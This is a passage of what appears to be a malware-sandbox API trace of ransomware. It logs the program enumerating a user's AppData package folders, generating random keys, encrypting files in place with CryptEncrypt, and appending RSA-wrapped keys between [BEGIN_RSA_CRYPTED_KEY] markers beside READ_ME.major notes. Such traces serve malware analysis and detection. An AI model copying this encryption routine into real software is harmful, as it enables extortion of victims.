dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.547] FindNextFileW (in: hFindFile=0x2f309d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x319682a0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x319682a0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x319682a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.548] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\Settings\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c13db32, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x713d778b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x319682a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30fd8 [0206.548] FindNextFileW (in: hFindFile=0x2f30fd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c13db32, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x713d778b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x319682a0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.548] FindNextFileW (in: hFindFile=0x2f30fd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x319682a0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x319682a0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.548] FindNextFileW (in: hFindFile=0x2f30fd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c13db32, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x9c13db32, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x9c13db32, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0206.548] FindNextFileW (in: hFindFile=0x2f30fd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c13db32, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x77c3f1ef, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xdaed6159, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0206.548] FindNextFileW (in: hFindFile=0x2f30fd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xdac99df7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdac99df7, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xdac99df7, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG1", cAlternateFileName="SETTIN~1.LOG")) returned 1 [0206.548] FindNextFileW (in: hFindFile=0x2f30fd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xdacc005c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdacc005c, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xdacc005c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 1 [0206.548] FindNextFileW (in: hFindFile=0x2f30fd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xdacc005c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdacc005c, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xdacc005c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 0 [0206.548] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0206.548] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0206.549] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\Settings\\settings.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.miracastview_cw5n1h2txyewy\\settings\\settings.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c4 [0206.549] GetFileSizeEx (in: hFile=0x14c4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0206.549] ReadFile (in: hFile=0x14c4, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0206.550] SetFilePointer (in: hFile=0x14c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.550] WriteFile (in: hFile=0x14c4, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0206.550] SetFilePointer (in: hFile=0x14c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0206.550] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.550] WriteFile (in: hFile=0x14c4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.551] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0206.551] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0206.551] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0206.551] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="uBq+KLBSIj9xF4kC6siWx+E6Ppd+Vy6q7qWm6PHaMQCzwrxkVT55sIKG/fjQ6CkL\nSoGib8ZdHIXd0KlhLTHg7NBsHu80wo6ogqEbM0Yr9gwJdXpns7AyHqt76tvnZt5D\nsGrmLt183dKgLBnaKzZk+r98QCitPGcMqCVJ8dYx3s55MH6W8Zw2yNJ9S3/Sr+dd\nj8eco/kcjGptDtYKlvdcCsNnO6vvJpRcqzGPTrcxsDAVJJIvDXz9SgCJ31EW9i1F\nYkrn19SgnGbA69godSabV/igRTzT3NRWEEs22zii+GkQwiiptATRnDkM0exezYRS\nC/rayA8UQbvoRNUakeqyqg==\n", pcchString=0x2e3f9a8) returned 1 [0206.551] WriteFile (in: hFile=0x14c4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0206.552] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.552] WriteFile (in: hFile=0x14c4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.552] CloseHandle (hObject=0x14c4) returned 1 [0206.553] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0206.553] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0206.555] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\Settings\\settings.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.miracastview_cw5n1h2txyewy\\settings\\settings.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c4 [0206.555] GetFileSizeEx (in: hFile=0x14c4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0206.555] ReadFile (in: hFile=0x14c4, lpBuffer=0x2f978e8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0206.584] SetFilePointer (in: hFile=0x14c4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.584] WriteFile (in: hFile=0x14c4, lpBuffer=0x2f958e0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0206.584] SetFilePointer (in: hFile=0x14c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0206.585] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.585] WriteFile (in: hFile=0x14c4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.585] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0206.585] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0206.585] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0206.585] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="rEuSD47Ur9Xy6iT3kRNZREAcgyyfUvtsVHqTBPQX1PDaLlfZ8AJzprX+Up55S35u\nNgKbYJF1gin44bZ2FlvpdxXGSQ24fIOVoWad/H314RKz7tyPKnpuFa+4O5mxjfd+\nfZksVgGTvZz0lzcRTHso4ir+QewnZb0VSTU4uDtxfO4u/6qF7OAArhoSOE1M6vW2\nHZX9NqxR81v7xl4eVRwEpc/Mmp5titbUMwVj0kNaRdVE/QdEcz2l42oTJHgt0nM8\nEO9+HmmxFOvsnPieDTRZhtwBWlBnyR1CrebzC30d8V1u4hEVQYf4sahqJar+aFae\nZkk5ZTnkjbZQMOXUsPnZgw==\n", pcchString=0x2e3f9a8) returned 1 [0206.585] WriteFile (in: hFile=0x14c4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0206.586] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.586] WriteFile (in: hFile=0x14c4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.586] CloseHandle (hObject=0x14c4) returned 1 [0206.609] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0206.609] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0206.610] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.miracastview_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c4 [0206.611] GetFileSizeEx (in: hFile=0x14c4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0206.611] ReadFile (in: hFile=0x14c4, lpBuffer=0x2f938d8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f938d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0206.739] SetFilePointer (in: hFile=0x14c4, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.739] WriteFile (in: hFile=0x14c4, lpBuffer=0x2f918d0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f918d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0206.740] SetFilePointer (in: hFile=0x14c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0206.740] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.740] WriteFile (in: hFile=0x14c4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.740] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0206.740] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0206.740] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0206.740] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="7bGUt2xFiHjv9I5N2h8zw+zyKW3dsaq8YjmBeTx5gDubtP+/2udVOPRPn2HjZd+F\n+jvEVgfb4Jyll+UmD6P/TB0Tp0NqwKOy22xUQ3Y43Y/QT9215Kv1p1Z+Qarm+3Fh\nfYpfA0w7HBQGdXS23ZreeSMTmEYeOlYNkPX9ban16HxkJ4DwkLKxkn6y5n+OZBA1\n75xON3sJAPQKC3gshOQ0XD4Drnoe7Jg+3iG0yVdSrU7+GQ/exzT36UkVOwK/yldm\noXQfaNQwPfg53AL12Q8A7yGWjvTGFZIN6TYVcLFikX+gsS8tQaWPSxVnll4RMpIl\n1TDRes5EQiynimnNJ18SCA==\n", pcchString=0x2e3f9a8) returned 1 [0206.740] WriteFile (in: hFile=0x14c4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0206.740] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.741] WriteFile (in: hFile=0x14c4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.741] CloseHandle (hObject=0x14c4) returned 1 [0206.742] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0206.742] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0206.743] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.miracastview_cw5n1h2txyewy\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c4 [0206.743] GetFileSizeEx (in: hFile=0x14c4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0206.743] ReadFile (in: hFile=0x14c4, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0206.743] SetFilePointer (in: hFile=0x14c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.743] WriteFile (in: hFile=0x14c4, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0206.744] SetFilePointer (in: hFile=0x14c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0206.744] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.744] WriteFile (in: hFile=0x14c4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.744] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0206.744] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0206.745] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0206.745] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="30e6aWmjQyG+Icq8FsbCsz+RQDj/qQo/p1s7wIbmPlifTmIYBKXxhE5YSyWAfDel\nwwYxSWO03636tTc+Uds6moiheQUNU5EuJ1vSTfF+a0yxFk4bwrzrZVko9AhEKvcH\nYyjGTYeetZYk54Me2lCvViUsquPI2TbsEOMW8q1VK6STFj8BH0plUnXk2vpQIJa4\n3tSUDS1CroamUkvhMPotom2gNhT7RPlB8LpcXJndrXFPN+gmRpH/4CIPIMYjNJst\npKBq+dj21GntIedUPXS4rTrtgcKSZFFtAXb2uZoC7Hd8as/ooqjlOnEQoEah58CR\nfjhDORpqHrz10hr9ETiLSw==\n", pcchString=0x2e3f9a8) returned 1 [0206.745] WriteFile (in: hFile=0x14c4, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0206.745] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.745] WriteFile (in: hFile=0x14c4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.745] CloseHandle (hObject=0x14c4) returned 1 [0206.747] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77c3f1ef, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x77c3f1ef, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30d98 [0206.747] FindNextFileW (in: hFindFile=0x2f30d98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77c3f1ef, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x77c3f1ef, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.747] FindNextFileW (in: hFindFile=0x2f30d98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3198e4d0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3198e4d0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.747] FindNextFileW (in: hFindFile=0x2f30d98, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3198e4d0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3198e4d0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.747] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c13db32, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2dc905d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f30958 [0206.747] FindNextFileW (in: hFindFile=0x2f30958, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c13db32, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2dc905d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3198e4d0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.747] FindNextFileW (in: hFindFile=0x2f30958, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3198e4d0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3198e4d0, 